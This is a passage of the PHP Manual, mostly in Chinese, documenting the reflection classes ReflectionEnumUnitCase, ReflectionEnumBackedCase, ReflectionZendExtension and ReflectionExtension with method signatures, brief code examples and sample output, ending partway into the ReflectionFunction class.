  • ReflectionEnumBackedCase

Table of Contents

  • ReflectionEnumUnitCase::__construct — Instantiates a ReflectionEnumUnitCase object
  • ReflectionEnumUnitCase::getEnum — 获取该枚举条目的反射
  • ReflectionEnumUnitCase::getValue — 获取反射对象描述的枚举条目对象

User Contributed Notes

There are no user contributed notes for this page.


Instantiates a ReflectionEnumUnitCase object

  • ? ReflectionEnumUnitCase
  • ReflectionEnumUnitCase::getEnum ?
  • PHP Manual
  • ReflectionEnumUnitCase
  • Instantiates a ReflectionEnumUnitCase object

ReflectionEnumUnitCase::__construct

(PHP 8 >= 8.1.0)

ReflectionEnumUnitCase::__construct — Instantiates a ReflectionEnumUnitCase object

说明

public ReflectionEnumUnitCase::__construct(object|string $class, string $constant)

参数

class

An enum instance or a name.

constant

An enum constant name.

User Contributed Notes

There are no user contributed notes for this page.


获取该枚举条目的反射

  • ? ReflectionEnumUnitCase::__construct
  • ReflectionEnumUnitCase::getValue ?
  • PHP Manual
  • ReflectionEnumUnitCase
  • 获取该枚举条目的反射

ReflectionEnumUnitCase::getEnum

(PHP 8 >= 8.1.0)

ReflectionEnumUnitCase::getEnum — 获取该枚举条目的反射

说明

public ReflectionEnumUnitCase::getEnum(): ReflectionEnum

获取该枚举条目的反射。

参数

此函数没有参数。

返回值

描述属于该枚举条目的 ReflectionEnum 实例。

参见

  • 枚举

User Contributed Notes

There are no user contributed notes for this page.


获取反射对象描述的枚举条目对象

  • ? ReflectionEnumUnitCase::getEnum
  • ReflectionEnumBackedCase ?
  • PHP Manual
  • ReflectionEnumUnitCase
  • 获取反射对象描述的枚举条目对象

ReflectionEnumUnitCase::getValue

(PHP 8 >= 8.1.0)

ReflectionEnumUnitCase::getValue — 获取反射对象描述的枚举条目对象

说明

public ReflectionEnumUnitCase::getValue(): UnitEnum

获取该反射对象描述的枚举条目对象。

参数

此函数没有参数。

返回值

反射对象描述的枚举条目对象。

示例

Example #1 ReflectionEnum::getValue() 示例

<?php
enum Suit
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;
}

$rEnum = new ReflectionEnum(Suit::class);

$rCase = $rEnum->getCase('Diamonds');

var_dump($rCase->getValue());
?>

以上示例会输出：

enum(Suit::Diamonds)

参见

  • 枚举

User Contributed Notes

There are no user contributed notes for this page.


ReflectionEnumBackedCase 类

(PHP 8 >= 8.1.0)

简介

ReflectionEnumBackedCase 类报告了一个回退枚举条目（Enum backed case）的信息，具有对应的标量值。

类摘要

class ReflectionEnumBackedCase extends ReflectionEnumUnitCase {
/* 继承的常量 */
public const int ReflectionClassConstant::IS_PUBLIC;
public const int ReflectionClassConstant::IS_PROTECTED;
public const int ReflectionClassConstant::IS_PRIVATE;
public const int ReflectionClassConstant::IS_FINAL;
/* 继承的属性 */
public string $name;
public string $class;
/* 方法 */
public __construct(object|string $class, string $constant)
public getBackingValue(): int|string
/* 继承的方法 */
public ReflectionEnumUnitCase::getEnum(): ReflectionEnum
public ReflectionEnumUnitCase::getValue(): UnitEnum
public static ReflectionClassConstant::export(mixed $class, string $name, bool $return = ?): string
public ReflectionClassConstant::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionClassConstant::getDeclaringClass(): ReflectionClass
public ReflectionClassConstant::getDocComment(): string|false
public ReflectionClassConstant::getModifiers(): int
public ReflectionClassConstant::getName(): string
public ReflectionClassConstant::getValue(): mixed
public ReflectionClassConstant::isEnumCase(): bool
public ReflectionClassConstant::isFinal(): bool
public ReflectionClassConstant::isPrivate(): bool
public ReflectionClassConstant::isProtected(): bool
public ReflectionClassConstant::isPublic(): bool
public ReflectionClassConstant::__toString(): string
}

参见

  • 枚举
  • ReflectionEnumUnitCase

Table of Contents

  • ReflectionEnumBackedCase::__construct — Instantiates a ReflectionEnumBackedCase object
  • ReflectionEnumBackedCase::getBackingValue — 获取枚举条目回退的标量值

User Contributed Notes

There are no user contributed notes for this page.


Instantiates a ReflectionEnumBackedCase object

  • ? ReflectionEnumBackedCase
  • ReflectionEnumBackedCase::getBackingValue ?
  • PHP Manual
  • ReflectionEnumBackedCase
  • Instantiates a ReflectionEnumBackedCase object

ReflectionEnumBackedCase::__construct

(PHP 8 >= 8.1.0)

ReflectionEnumBackedCase::__construct — Instantiates a ReflectionEnumBackedCase object

说明

public ReflectionEnumBackedCase::__construct(object|string $class, string $constant)

参数

class

An enum instance or a name.

constant

An enum constant name.

User Contributed Notes

There are no user contributed notes for this page.


获取枚举条目回退的标量值

  • ? ReflectionEnumBackedCase::__construct
  • ReflectionZendExtension ?
  • PHP Manual
  • ReflectionEnumBackedCase
  • 获取枚举条目回退的标量值

ReflectionEnumBackedCase::getBackingValue

(PHP 8 >= 8.1.0)

ReflectionEnumBackedCase::getBackingValue — 获取枚举条目回退的标量值

说明

public ReflectionEnumBackedCase::getBackingValue(): int|string

获取枚举条目回退的标量值。

参数

此函数没有参数。

返回值

枚举条目对应的标量值。

示例

Example #1 ReflectionEnum::getBackingValue() 示例

<?php
enum Suit: string
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';
}

$rEnum = new ReflectionEnum(Suit::class);

$rCase = $rEnum->getCase('Spades');

var_dump($rCase->getBackingValue());
?>

以上示例会输出：

string(1) "S"

参见

  • 枚举

User Contributed Notes

There are no user contributed notes for this page.


ReflectionZendExtension 类

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

类摘要

class ReflectionZendExtension implements Reflector {
/* 属性 */
public string $name;
/* 方法 */
public __construct(string $name)
private __clone(): void
public static export(string $name, bool $return = ?): string
public getAuthor(): string
public getCopyright(): string
public getName(): string
public getURL(): string
public getVersion(): string
public __toString(): string
}

属性

name

扩展名。只读，在尝试赋值的时候抛出 ReflectionException。

更新日志

版本 | 说明
8.0.0 | 已移除 ReflectionZendExtension::export()。

Table of Contents

  • ReflectionZendExtension::__clone — Clone handler
  • ReflectionZendExtension::__construct — Constructs a ReflectionZendExtension object
  • ReflectionZendExtension::export — Export
  • ReflectionZendExtension::getAuthor — Gets author
  • ReflectionZendExtension::getCopyright — Gets copyright
  • ReflectionZendExtension::getName — Gets name
  • ReflectionZendExtension::getURL — Gets URL
  • ReflectionZendExtension::getVersion — Gets version
  • ReflectionZendExtension::__toString — To string handler

User Contributed Notes

There are no user contributed notes for this page.


Clone handler

  • ? ReflectionZendExtension
  • ReflectionZendExtension::__construct ?
  • PHP Manual
  • ReflectionZendExtension
  • Clone handler

ReflectionZendExtension::__clone

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::__clone — Clone handler

说明

private ReflectionZendExtension::__clone(): void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

更新日志

版本 | 说明
8.1.0 | This method is no longer final.

User Contributed Notes

There are no user contributed notes for this page.


Constructs a ReflectionZendExtension object

  • ? ReflectionZendExtension::__clone
  • ReflectionZendExtension::export ?
  • PHP Manual
  • ReflectionZendExtension
  • Constructs a ReflectionZendExtension object

ReflectionZendExtension::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::__construct — Constructs a ReflectionZendExtension object

说明

public ReflectionZendExtension::__construct(string $name)

Constructs a new ReflectionZendExtension object.

参数

name

The extension name.

错误／异常

Throws ReflectionException if the extension to reflect does not exist.

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionZendExtension::__construct
  • ReflectionZendExtension::getAuthor ?
  • PHP Manual
  • ReflectionZendExtension
  • Export

ReflectionZendExtension::export

(PHP 5 >= 5.4.0, PHP 7)

ReflectionZendExtension::export — Export

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionZendExtension::export(string $name, bool $return = ?): string

Warning

本函数还未编写文档，仅有参数列表。

参数

name

return

返回值

参见

  • ReflectionClassConstant::__toString() - Returns the string representation of the ReflectionClassConstant object

User Contributed Notes

There are no user contributed notes for this page.


Gets author

  • ? ReflectionZendExtension::export
  • ReflectionZendExtension::getCopyright ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets author

ReflectionZendExtension::getAuthor

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getAuthor — Gets author

说明

public ReflectionZendExtension::getAuthor(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets copyright

  • ? ReflectionZendExtension::getAuthor
  • ReflectionZendExtension::getName ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets copyright

ReflectionZendExtension::getCopyright

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getCopyright — Gets copyright

说明

public ReflectionZendExtension::getCopyright(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets name

  • ? ReflectionZendExtension::getCopyright
  • ReflectionZendExtension::getURL ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets name

ReflectionZendExtension::getName

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getName — Gets name

说明

public ReflectionZendExtension::getName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets URL

  • ? ReflectionZendExtension::getName
  • ReflectionZendExtension::getVersion ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets URL

ReflectionZendExtension::getURL

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getURL — Gets URL

说明

public ReflectionZendExtension::getURL(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Gets version

  • ? ReflectionZendExtension::getURL
  • ReflectionZendExtension::__toString ?
  • PHP Manual
  • ReflectionZendExtension
  • Gets version

ReflectionZendExtension::getVersion

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::getVersion — Gets version

说明

public ReflectionZendExtension::getVersion(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


To string handler

  • ? ReflectionZendExtension::getVersion
  • ReflectionExtension ?
  • PHP Manual
  • ReflectionZendExtension
  • To string handler

ReflectionZendExtension::__toString

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionZendExtension::__toString — To string handler

说明

public ReflectionZendExtension::__toString(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


ReflectionExtension 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionExtension 报告有关扩展的信息。

类摘要

class ReflectionExtension implements Reflector {
/* 属性 */
public string $name;
/* 方法 */
public __construct(string $name)
private __clone(): void
public static export(string $name, string $return = false): string
public getClasses(): array
public getClassNames(): array
public getConstants(): array
public getDependencies(): array
public getFunctions(): array
public getINIEntries(): array
public getName(): string
public getVersion(): ?string
public info(): void
public isPersistent(): bool
public isTemporary(): bool
public __toString(): string
}

属性

name

扩展名，跟调用 ReflectionExtension::getName() 方法相同。

更新日志

版本 | 说明
8.0.0 | 移除 ReflectionExtension::export()。

Table of Contents

  • ReflectionExtension::__clone — 克隆
  • ReflectionExtension::__construct — 构造 ReflectionExtension
  • ReflectionExtension::export — Export
  • ReflectionExtension::getClasses — 获取类列表
  • ReflectionExtension::getClassNames — 获取类名列表
  • ReflectionExtension::getConstants — 获取常量
  • ReflectionExtension::getDependencies — 获取依赖
  • ReflectionExtension::getFunctions — 获取扩展中的函数
  • ReflectionExtension::getINIEntries — 获取 ini 配置
  • ReflectionExtension::getName — 获取扩展名称
  • ReflectionExtension::getVersion — 获取扩展版本
  • ReflectionExtension::info — 输出扩展信息
  • ReflectionExtension::isPersistent — 返回扩展是否持久化的
  • ReflectionExtension::isTemporary — 返回扩展是否是临时载入
  • ReflectionExtension::__toString — 生成字符串

User Contributed Notes

Anonymous 20-Mar-2016 03:01
<?php
  // Create an instance of the ReflectionProperty class
  $ext= new ReflectionExtension('standard');

  // Print out basic information
  printf(
      "Name        : %s\n".
      "Version     : %s\n".
      "Functions   : [%d] %s\n".
      "Constants   : [%d] %s\n".
      "INI entries : [%d] %s\n",
      $ext->getName(),
      $ext->getVersion() ? $ext->getVersion() : 'NO_VERSION',
      sizeof($ext->getFunctions()),
      var_export($ext->getFunctions(), 1),
      sizeof($ext->getConstants()),
      var_export($ext->getConstants(), 1),
      sizeof($ext->getINIEntries()),
      var_export($ext->getINIEntries(), 1)
  );
?>
Lubaev.K 20-Jun-2013 03:01
<?php
// The demonstration for the class "ReflectionExtension".

function REData(ReflectionExtension $re, $return=false) {

    defined('UNDEFINED') || define('UNDEFINED','%undefined%');
    $_data = [];

    $_data['getName:'] = $re->getName() ?: UNDEFINED;
    $_data['getVersion:'] = $re->getVersion() ?: UNDEFINED;
    $_data['info:'] = $re->info() ?: UNDEFINED;
    $_data['getClassName:'] = PHP_EOL.implode(", ",$re->getClassNames()) ?: UNDEFINED;
    foreach ($re->getConstants() as $key => $value) $_data['getConstants:'] .= "\n{$key}:={$value}";
    $_data['getDependencies:'] = $re->getDependencies() ?: UNDEFINED;
    $_data['getFunctions:'] = PHP_EOL.implode(", ",array_keys($re->getFunctions())) ?: UNDEFINED;
    $_data['getINIEntries:'] = $re->getINIEntries() ?: UNDEFINED;
    $_data['isPersistent:'] = $re->isPersistent() ?: UNDEFINED;
    $_data['isTemporary:'] = $re->isTemporary() ?: UNDEFINED;

    return print_r($_data, $return);
}

REData( new ReflectionExtension( 'Reflection' ) );
REData( new ReflectionExtension( 'zlib' ) );

// Reflection
// Reflection => enabled
// Version => $Id: 60f1e547a6dd00239162151e701566debdcee660 $
/*
Array
(
    [getName:] => Reflection
    [getVersion:] => $Id: 60f1e547a6dd00239162151e701566debdcee660 $
    [info:] => %undefined%
    [getClassName:] =>
ReflectionException, Reflection, Reflector, ReflectionFunctionAbstract, Reflecti
onFunction, ReflectionParameter, ReflectionMethod, ReflectionClass, ReflectionOb
ject, ReflectionProperty, ReflectionExtension, ReflectionZendExtension
    [getDependencies:] => %undefined%
    [getFunctions:] =>

    [getINIEntries:] => %undefined%
    [isPersistent:] => 1
    [isTemporary:] => %undefined%
)
*/
// zlib
// ZLib Support => enabled
// Stream Wrapper => compress.zlib://
// Stream Filter => zlib.inflate, zlib.deflate
// Compiled Version => 1.2.7
// Linked Version => 1.2.7
// Directive => Local Value => Master Value
// zlib.output_compression => Off => Off
// zlib.output_compression_level => -1 => -1
// zlib.output_handler => no value => no value
/*
Array
(
    [getName:] => zlib
    [getVersion:] => 2.0
    [info:] => %undefined%
    [getClassName:] =>

    [getConstants:] =>
FORCE_GZIP:=31
FORCE_DEFLATE:=15
ZLIB_ENCODING_RAW:=-15
ZLIB_ENCODING_GZIP:=31
ZLIB_ENCODING_DEFLATE:=15
    [getDependencies:] => %undefined%
    [getFunctions:] =>
readgzfile, gzrewind, gzclose, gzeof, gzgetc, gzgets, gzgetss, gzread, gzopen, g
zpassthru, gzseek, gztell, gzwrite, gzputs, gzfile, gzcompress, gzuncompress, gz
deflate, gzinflate, gzencode, gzdecode, zlib_encode, zlib_decode, zlib_get_codin
g_type, ob_gzhandler
    [getINIEntries:] => Array
        (
            [zlib.output_compression] =>
            [zlib.output_compression_level] => -1
            [zlib.output_handler] =>
        )

    [isPersistent:] => 1
    [isTemporary:] => %undefined%
)
*/


克隆

  • ? ReflectionExtension
  • ReflectionExtension::__construct ?
  • PHP Manual
  • ReflectionExtension
  • 克隆

ReflectionExtension::__clone

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::__clone — 克隆

说明

private ReflectionExtension::__clone(): void

clone 方法阻止对象克隆。不允许克隆反射对象。

参数

此函数没有参数。

返回值

没有返回值，如果被调用将产生 fatal 错误。

更新日志

版本 | 说明
8.1.0 | 此函数不再是 final。

参见

  • ReflectionExtension::__construct() - 构造 ReflectionExtension
  • 对象克隆

User Contributed Notes

There are no user contributed notes for this page.


构造 ReflectionExtension

  • ? ReflectionExtension::__clone
  • ReflectionExtension::export ?
  • PHP Manual
  • ReflectionExtension
  • 构造 ReflectionExtension

ReflectionExtension::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::__construct — 构造 ReflectionExtension

说明

public ReflectionExtension::__construct(string $name)

构造 ReflectionExtension object。

参数

name

扩展名。

错误／异常

如果要反射的扩展不存在，则抛出 ReflectionException。

示例

Example #1 ReflectionExtension 示例

<?php
$ext = new ReflectionExtension('Reflection');

printf('Extension: %s (version: %s)', $ext->getName(), $ext->getVersion());
?>

以上示例的输出类似于：

Extension: Reflection (version: $Revision$)

参见

  • ReflectionExtension::info() - 输出扩展信息
  • 构造函数

User Contributed Notes

There are no user contributed notes for this page.


Export

  • ? ReflectionExtension::__construct
  • ReflectionExtension::getClasses ?
  • PHP Manual
  • ReflectionExtension
  • Export

ReflectionExtension::export

(PHP 5, PHP 7)

ReflectionExtension::export — Export

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionExtension::export(string $name, string $return = false): string

导出可以被反射的扩展。输出格式同CLI argument --re [extension].

参数

name

导出的反射。

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

如果参数 return 设为 true，导出结果将作为 string 返回，否则返回 null。

参见

  • ReflectionExtension::info() - 输出扩展信息
  • ReflectionExtension::__toString() - 生成字符串

User Contributed Notes

There are no user contributed notes for this page.


获取类列表

  • ? ReflectionExtension::export
  • ReflectionExtension::getClassNames ?
  • PHP Manual
  • ReflectionExtension
  • 获取类列表

ReflectionExtension::getClasses

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getClasses — 获取类列表

说明

public ReflectionExtension::getClasses(): array

从扩展中获取类列表。

参数

此函数没有参数。

返回值

ReflectionClass 对象数组，包括扩展中所有类。如果没有类，将返回空数组。

示例

Example #1 ReflectionExtension::getClasses() 示例

<?php
$ext = new ReflectionExtension('XMLWriter');
var_dump($ext->getClasses());
?>

以上示例的输出类似于：

array(1) {
  ["XMLWriter"]=>
  object(ReflectionClass)#2 (1) {
    ["name"]=>
    string(9) "XMLWriter"
  }
}

参见

  • ReflectionExtension::getClassNames() - 获取类名列表

User Contributed Notes

There are no user contributed notes for this page.


获取类名列表

  • ? ReflectionExtension::getClasses
  • ReflectionExtension::getConstants ?
  • PHP Manual
  • ReflectionExtension
  • 获取类名列表

ReflectionExtension::getClassNames

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getClassNames — 获取类名列表

说明

public ReflectionExtension::getClassNames(): array

获取扩展中的类名列表。

参数

此函数没有参数。

返回值

扩展中定义的类名 array。如果扩展中没有定义类，将返回空数组。

示例

Example #1 ReflectionExtension::getClassNames() 示例

<?php
$ext = new ReflectionExtension('XMLWriter');
var_dump($ext->getClassNames());
?>

以上示例的输出类似于：

array(1) {
  [0]=>
  string(9) "XMLWriter"
}

参见

  • ReflectionExtension::getClasses() - 获取类列表
  • ReflectionExtension::getName() - 获取扩展名称

User Contributed Notes

There are no user contributed notes for this page.


获取常量

  • ? ReflectionExtension::getClassNames
  • ReflectionExtension::getDependencies ?
  • PHP Manual
  • ReflectionExtension
  • 获取常量

ReflectionExtension::getConstants

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getConstants — 获取常量

说明

public ReflectionExtension::getConstants(): array

获取扩展中定义的常量。

参数

此函数没有参数。

返回值

返回一个以常量名称为索引的数组。

示例

Example #1 ReflectionExtension::getConstants() example

<?php
$ext = new ReflectionExtension('DOM');

print_r($ext->getConstants());
?>

以上示例的输出类似于：

Array
(
    [XML_ELEMENT_NODE] => 1
    [XML_ATTRIBUTE_NODE] => 2
    [XML_TEXT_NODE] => 3
    [XML_CDATA_SECTION_NODE] => 4
    [XML_ENTITY_REF_NODE] => 5
    [XML_ENTITY_NODE] => 6
    [XML_PI_NODE] => 7
    [XML_COMMENT_NODE] => 8
    [XML_DOCUMENT_NODE] => 9
    [XML_DOCUMENT_TYPE_NODE] => 10
    [XML_DOCUMENT_FRAG_NODE] => 11
    [XML_NOTATION_NODE] => 12
    [XML_HTML_DOCUMENT_NODE] => 13
    [XML_DTD_NODE] => 14
    [XML_ELEMENT_DECL_NODE] => 15
    [XML_ATTRIBUTE_DECL_NODE] => 16
    [XML_ENTITY_DECL_NODE] => 17
    [XML_NAMESPACE_DECL_NODE] => 18
    [XML_LOCAL_NAMESPACE] => 18
    [XML_ATTRIBUTE_CDATA] => 1
    [XML_ATTRIBUTE_ID] => 2
    [XML_ATTRIBUTE_IDREF] => 3
    [XML_ATTRIBUTE_IDREFS] => 4
    [XML_ATTRIBUTE_ENTITY] => 6
    [XML_ATTRIBUTE_NMTOKEN] => 7
    [XML_ATTRIBUTE_NMTOKENS] => 8
    [XML_ATTRIBUTE_ENUMERATION] => 9
    [XML_ATTRIBUTE_NOTATION] => 10
    [DOM_PHP_ERR] => 0
    [DOM_INDEX_SIZE_ERR] => 1
    [DOMSTRING_SIZE_ERR] => 2
    [DOM_HIERARCHY_REQUEST_ERR] => 3
    [DOM_WRONG_DOCUMENT_ERR] => 4
    [DOM_INVALID_CHARACTER_ERR] => 5
    [DOM_NO_DATA_ALLOWED_ERR] => 6
    [DOM_NO_MODIFICATION_ALLOWED_ERR] => 7
    [DOM_NOT_FOUND_ERR] => 8
    [DOM_NOT_SUPPORTED_ERR] => 9
    [DOM_INUSE_ATTRIBUTE_ERR] => 10
    [DOM_INVALID_STATE_ERR] => 11
    [DOM_SYNTAX_ERR] => 12
    [DOM_INVALID_MODIFICATION_ERR] => 13
    [DOM_NAMESPACE_ERR] => 14
    [DOM_INVALID_ACCESS_ERR] => 15
    [DOM_VALIDATION_ERR] => 16
)

参见

  • ReflectionExtension::getINIEntries() - 获取 ini 配置

User Contributed Notes

There are no user contributed notes for this page.


获取依赖

  • ? ReflectionExtension::getConstants
  • ReflectionExtension::getFunctions ?
  • PHP Manual
  • ReflectionExtension
  • 获取依赖

ReflectionExtension::getDependencies

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionExtension::getDependencies — 获取依赖

说明

public ReflectionExtension::getDependencies(): array

获取依赖，包括必需的、冲突的、可选的。

参数

此函数没有参数。

返回值

返回以依赖的扩展名称为索引的数组，每一项的取值为 Required、Optional 或者 Conflicts。

示例

Example #1 ReflectionExtension::getDependencies() example

<?php
$dom = new ReflectionExtension('dom');

print_r($dom->getDependencies());
?>

以上示例的输出类似于：

Array
(
    [libxml] => Required
    [domxml] => Conflicts
)

参见

  • ReflectionClass::getVersion()

User Contributed Notes

There are no user contributed notes for this page.


获取扩展中的函数

  • ? ReflectionExtension::getDependencies
  • ReflectionExtension::getINIEntries ?
  • PHP Manual
  • ReflectionExtension
  • 获取扩展中的函数

ReflectionExtension::getFunctions

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getFunctions — 获取扩展中的函数

说明

public ReflectionExtension::getFunctions(): array

获取扩展中定义的函数。

参数

此函数没有参数。

返回值

返回 ReflectionFunction 对象数组，数组索引为函数名。如果扩展中没有定义函数，将返回空数组。

示例

Example #1 ReflectionExtension::getFunctions() 示例

<?php
$dom = new ReflectionExtension('SimpleXML');

print_r($dom->getFunctions());
?>

以上示例的输出类似于：

Array
(
    [simplexml_load_file] => ReflectionFunction Object
        (
            [name] => simplexml_load_file
        )

    [simplexml_load_string] => ReflectionFunction Object
        (
            [name] => simplexml_load_string
        )

    [simplexml_import_dom] => ReflectionFunction Object
        (
            [name] => simplexml_import_dom
        )

)

参见

  • ReflectionExtension::getClasses() - 获取类列表
  • get_extension_funcs() - 返回模块函数名称的数组

User Contributed Notes

There are no user contributed notes for this page.


获取 ini 配置

  • ? ReflectionExtension::getFunctions
  • ReflectionExtension::getName ?
  • PHP Manual
  • ReflectionExtension
  • 获取 ini 配置

ReflectionExtension::getINIEntries

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getINIEntries — 获取 ini 配置

说明

public ReflectionExtension::getINIEntries(): array

获取扩展在 ini 配置文件中的配置。

参数

此函数没有参数。

返回值

返回数组，数组索引是配置名称，值是配置值。

示例

Example #1 ReflectionExtension::getINIEntries() 示例

<?php
$ext = new ReflectionExtension('mysql');

print_r($ext->getINIEntries());
?>

以上示例的输出类似于：

Array
(
    [mysql.allow_persistent] => 1
    [mysql.max_persistent] => -1
    [mysql.max_links] => -1
    [mysql.default_host] =>
    [mysql.default_user] =>
    [mysql.default_password] =>
    [mysql.default_port] =>
    [mysql.default_socket] =>
    [mysql.connect_timeout] => 60
    [mysql.trace_mode] =>
    [mysql.allow_local_infile] => 1
    [mysql.cache_size] => 2000
)

参见

  • ini_get_all() - 获取所有配置选项
  • ReflectionExtension::getConstants() - 获取常量

User Contributed Notes

There are no user contributed notes for this page.


获取扩展名称

  • ? ReflectionExtension::getINIEntries
  • ReflectionExtension::getVersion ?
  • PHP Manual
  • ReflectionExtension
  • 获取扩展名称

ReflectionExtension::getName

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getName — 获取扩展名称

说明

public ReflectionExtension::getName(): string

获取扩展名称。

参数

此函数没有参数。

返回值

扩展名称。

示例

Example #1 ReflectionExtension::getName() 示例

<?php
$ext = new ReflectionExtension('mysqli');
var_dump($ext->getName());
?>

以上示例的输出类似于：

string(6) "mysqli"

参见

  • ReflectionExtension::getClassNames() - 获取类名列表

User Contributed Notes

There are no user contributed notes for this page.


获取扩展版本

  • ? ReflectionExtension::getName
  • ReflectionExtension::info ?
  • PHP Manual
  • ReflectionExtension
  • 获取扩展版本

ReflectionExtension::getVersion

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::getVersion — 获取扩展版本

说明

public ReflectionExtension::getVersion(): ?string

获取扩展的版本。

参数

此函数没有参数。

返回值

扩展的版本，如果扩展没有版本返回 null。

示例

Example #1 ReflectionExtension::getVersion() 示例

<?php
$ext = new ReflectionExtension('mysqli');
var_dump($ext->getVersion());
?>

以上示例的输出类似于：

string(3) "0.1"

参见

  • ReflectionExtension::info() - 输出扩展信息

User Contributed Notes

There are no user contributed notes for this page.


输出扩展信息

  • ? ReflectionExtension::getVersion
  • ReflectionExtension::isPersistent ?
  • PHP Manual
  • ReflectionExtension
  • 输出扩展信息

ReflectionExtension::info

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

ReflectionExtension::info — 输出扩展信息

说明

public ReflectionExtension::info(): void

输出"phpinfo()"信息中的扩展信息。

参数

此函数没有参数。

返回值

扩展信息。

示例

Example #1 ReflectionExtension::info() 示例

<?php
$ext = new ReflectionExtension('mysqli');
$ext->info();
?>

以上示例的输出类似于：

mysqli

MysqlI Support => enabled
Client API library version => mysqlnd 5.0.5-dev - 081106 - $Revision$
Active Persistent Links => 0
Inactive Persistent Links => 0
Active Links => 0
Persistent cache => enabled
put_hits => 0
put_misses => 0
get_hits => 0
get_misses => 0
size => 2000
free_items => 2000
references => 2

Directive => Local Value => Master Value
mysqli.max_links => Unlimited => Unlimited
mysqli.max_persistent => Unlimited => Unlimited
mysqli.allow_persistent => On => On
mysqli.default_host => no value => no value
mysqli.default_user => no value => no value
mysqli.default_pw => no value => no value
mysqli.default_port => 3306 => 3306
mysqli.default_socket => no value => no value
mysqli.reconnect => Off => Off
mysqli.allow_local_infile => On => On
mysqli.cache_size => 2000 => 2000

参见

  • ReflectionExtension::getName() - 获取扩展名称
  • phpinfo() - 输出关于 PHP 配置的信息

User Contributed Notes

There are no user contributed notes for this page.


返回扩展是否持久化的

  • ? ReflectionExtension::info
  • ReflectionExtension::isTemporary ?
  • PHP Manual
  • ReflectionExtension
  • 返回扩展是否持久化的

ReflectionExtension::isPersistent

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionExtension::isPersistent — 返回扩展是否持久化的

说明

public ReflectionExtension::isPersistent(): bool

检测扩展是否为持久化的。

当使用 php.ini 加载时，则扩展是持久化的。当使用 dl() 加载扩展时，扩展是临时的，而不是持久化的。

参数

此函数没有参数。

返回值

扩展在 extension 配置中被载入返回 true，否则返回 false。

参见

  • ReflectionExtension::isTemporary() - 返回扩展是否是临时载入

User Contributed Notes

There are no user contributed notes for this page.


返回扩展是否是临时载入

  • ? ReflectionExtension::isPersistent
  • ReflectionExtension::__toString ?
  • PHP Manual
  • ReflectionExtension
  • 返回扩展是否是临时载入

ReflectionExtension::isTemporary

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionExtension::isTemporary — 返回扩展是否是临时载入

说明

public ReflectionExtension::isTemporary(): bool

检测扩展是否为临时的。

当使用 dl() 加载扩展时，扩展是临时的。

参数

此函数没有参数。

返回值

如果扩展被dl()载入则返回true ，否则返回 false 。

参见

  • ReflectionExtension::isPersistent() - 返回扩展是否持久化的

User Contributed Notes

There are no user contributed notes for this page.


生成字符串

  • ? ReflectionExtension::isTemporary
  • ReflectionFunction ?
  • PHP Manual
  • ReflectionExtension
  • 生成字符串

ReflectionExtension::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionExtension::__toString — 生成字符串

说明

public ReflectionExtension::__toString(): string

以 string 形式返回扩展的反射信息。等同于 ReflectionExtension::export() return 参数设置为 true。

参数

此函数没有参数。

返回值

返回扩展的反射信息，同 ReflectionExtension::export()。

参见

  • ReflectionExtension::__construct() - 构造 ReflectionExtension
  • ReflectionExtension::export() - Export
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionFunction 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionFunction 类报告有关函数的信息。

类摘要

class ReflectionFunction extends ReflectionFunctionAbstract {
/* 常量 */
public const int IS_DEPRECATED;
/* 继承的属性 */
public string $name;
/* 方法 */
public __construct(Closure|string $function)
